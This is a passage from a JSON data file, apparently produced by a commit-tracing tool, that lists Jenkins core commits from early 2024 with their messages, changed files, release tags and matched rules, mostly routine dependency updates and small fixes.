"jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8983", - "relevance": 2 - } - ] - }, - { - "commit_id": "4b7cde7c9501c736390a5e78d8a12cb5461d914a", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1708688666, - "hunks": 4, - "message": "Update dependency sass-loader to v14.1.1 (#8981) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8981": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8981", - "relevance": 2 - } - ] - }, - { - "commit_id": "2e07f81a62cd67271cd49bbe5e1b3b627ed1e9ce", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1708621001, - "hunks": 4, - "message": "Update dependency webpack to v5.90.3 (#8980) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8980": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8980", - "relevance": 2 - } - ] - }, - { - "commit_id": "05627e2b5054b870e1341c836ba594221400c779", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1708530087, - "hunks": 1, - "message": "Bump org.apache.maven.plugins:maven-shade-plugin from 3.5.1 to 3.5.2 (#8978) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - "cli/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8978": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8978", - "relevance": 2 - } - ] - }, - { - "commit_id": "8d2045bf9caa9649523d7d980d301be83f6da748", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1708438826, - "hunks": 1, - "message": "Bump org.apache.commons:commons-compress from 1.25.0 to 1.26.0 (#8971) Bumps org.apache.commons:commons-compress from 1.25.0 to 1.26.0. --- updated-dependencies: - dependency-name: org.apache.commons:commons-compress dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - "bom/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8971": "Stop shipping commons-lang3 #8997 Upgrade org.apache.commons:commons-compress from 1.25.0 to 1.26.0 on stable-2.440 #8998" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8971", - "relevance": 2 - } - ] - }, - { - "commit_id": "32ee888ae8040b9cabc7602d6aba8395041efaae", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1708351131, - "hunks": 4, - "message": "Update dependency webpack to v5.90.2 (#8967) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8967": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8967", - "relevance": 2 - } - ] - }, - { - "commit_id": "ab6fce6d4ec44af08c120f630778d8877ad53a80", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1708351122, - "hunks": 1, - "message": "Update dependency node to v20.11.1 (#8968) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8968": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8968", - "relevance": 2 - } - ] - }, - { - "commit_id": "3ed29aed3449de944eaec17ee8a37d8919358d20", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1708335347, - "hunks": 4, - "message": "Update dependency sass to v1.71.0 (#8969) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8969": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8969", - "relevance": 2 - } - ] - }, - { - "commit_id": "d12b130d231a9ef3902ab945e2c8c1e74d95de6d", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1708118964, - "hunks": 0, - "message": "Merge pull request #8957 from NotMyFault/backporting-the-2nd Second backporting for 2.440.1", - "changed_files": [], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8957": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.440.1", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8957", - "relevance": 2 - } - ] - }, - { - "commit_id": "1c1190c3ae08454954e4370b7cfc42c0a3e48b42", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1707949026, - "hunks": 1, - "message": "Fix login form window size responsiveness thresholds (#8959) >= and <= overlap Co-authored-by: Daniel Beck ", - "changed_files": [ - "war/src/main/scss/pages/_sign-in-register.scss" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8959": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8959", - "relevance": 2 - } - ] - }, - { - "commit_id": "db61f04af8e553dc55d2cb2fa18fa5581dab4310", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1707839325, - "hunks": 9, - "message": "`WebSockets.upgradeResponse` (#8917)", - "changed_files": [ - "core/src/main/java/jenkins/websocket/WebSockets.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8917": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8917", - "relevance": 2 - } - ] - }, - { - "commit_id": "510867a2f24c1c583803b29bd8b42b46b1c87737", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1707743329, - "hunks": 4, - "message": "Update dependency postcss to v8.4.35 (#8950) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8950": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8950", - "relevance": 2 - } - ] - }, - { - "commit_id": "f2b082e3f5e8b11ec2ba524d92f40b2ef808a33d", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1707742219, - "hunks": 1, - "message": "Bump commons-codec:commons-codec from 1.16.0 to 1.16.1 (#8949) Bumps [commons-codec:commons-codec](https://github.com/apache/commons-codec) from 1.16.0 to 1.16.1. - [Changelog](https://github.com/apache/commons-codec/blob/master/RELEASE-NOTES.txt) - [Commits](https://github.com/apache/commons-codec/compare/rel/commons-codec-1.16.0...rel/commons-codec-1.16.1) --- updated-dependencies: - dependency-name: commons-codec:commons-codec dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - "bom/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8949": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8949", - "relevance": 2 - } - ] - }, - { - "commit_id": "b9373bbcf23c2ca8e0984bc62800125558351934", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1707567246, - "hunks": 0, - "message": "Merge pull request #8945 from NotMyFault/backporting-2.440.1 Backporting for 2.440.1", - "changed_files": [], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8945": "2.440.1 Release checklist jenkins-infra/release#497 Backporting for LTS 2.440.2 #9014" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8945", - "relevance": 2 - } - ] - }, - { - "commit_id": "e05ffb8a789a479b23b38ef407b35d508095222e", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1707465896, - "hunks": 1, - "message": "[JENKINS-72637] Make Cloud permission scope inherit from Jenkins (#8944) [JENKINS-72637] Make Cloud permission scope inherit from Overall Co-authored-by: Daniel Beck ", - "changed_files": [ - "core/src/main/java/hudson/slaves/Cloud.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8944": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8944", - "relevance": 2 - } - ] - }, - { - "commit_id": "11472cd995f2bfd5893eba3edaf45bdc35231635", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1707465883, - "hunks": 4, - "message": "Update dependency postcss to v8.4.34 (#8948) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8948": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8948", - "relevance": 2 - } - ] - }, - { - "commit_id": "fc056066a0d5f9b3c4ee9d714b930eb313ab2e5d", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1707433231, - "hunks": 1, - "message": "Update dependabot stable branch (#8946) Signed-off-by: Alexander Brandes ", - "changed_files": [ - ".github/dependabot.yml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8946": "2.440.1 Release checklist jenkins-infra/release#497" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8946", - "relevance": 2 - } - ] - }, - { - "commit_id": "9c52da9d7611b2ac9206d5689986445c71f1b5eb", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1707393782, - "hunks": 1, - "message": "Bump slf4jVersion from 2.0.11 to 2.0.12 (#8939) Bumps `slf4jVersion` from 2.0.11 to 2.0.12. Updates `org.slf4j:jcl-over-slf4j` from 2.0.11 to 2.0.12 Updates `org.slf4j:log4j-over-slf4j` from 2.0.11 to 2.0.12 Updates `org.slf4j:slf4j-api` from 2.0.11 to 2.0.12 Updates `org.slf4j:slf4j-jdk14` from 2.0.11 to 2.0.12 --- updated-dependencies: - dependency-name: org.slf4j:jcl-over-slf4j dependency-type: direct:production update-type: version-update:semver-patch - dependency-name: org.slf4j:log4j-over-slf4j dependency-type: direct:production update-type: version-update:semver-patch - dependency-name: org.slf4j:slf4j-api dependency-type: direct:production update-type: version-update:semver-patch - dependency-name: org.slf4j:slf4j-jdk14 dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - "bom/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8939": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8939", - "relevance": 2 - } - ] - }, - { - "commit_id": "1b0a4a80a3eea2bf5aa007388386a30625a0c06a", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1707393764, - "hunks": 4, - "message": "Update dependency prettier to v3.2.5 (#8940) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8940": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8940", - "relevance": 2 - } - ] - }, - { - "commit_id": "b8236f82901467023e1fd5ea646a93afc953b1ff", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1707382818, - "hunks": 11, - "message": "Create new index page for heap dump creation (#8929) Co-authored-by: Daniel Beck ", - "changed_files": [ - "core/src/main/java/hudson/util/RemotingDiagnostics.java", - "core/src/main/resources/hudson/util/Messages.properties", - "core/src/main/resources/hudson/util/RemotingDiagnostics/HeapDump/index.jelly", - "core/src/main/resources/hudson/util/RemotingDiagnostics/HeapDump/index.properties" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8929": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - 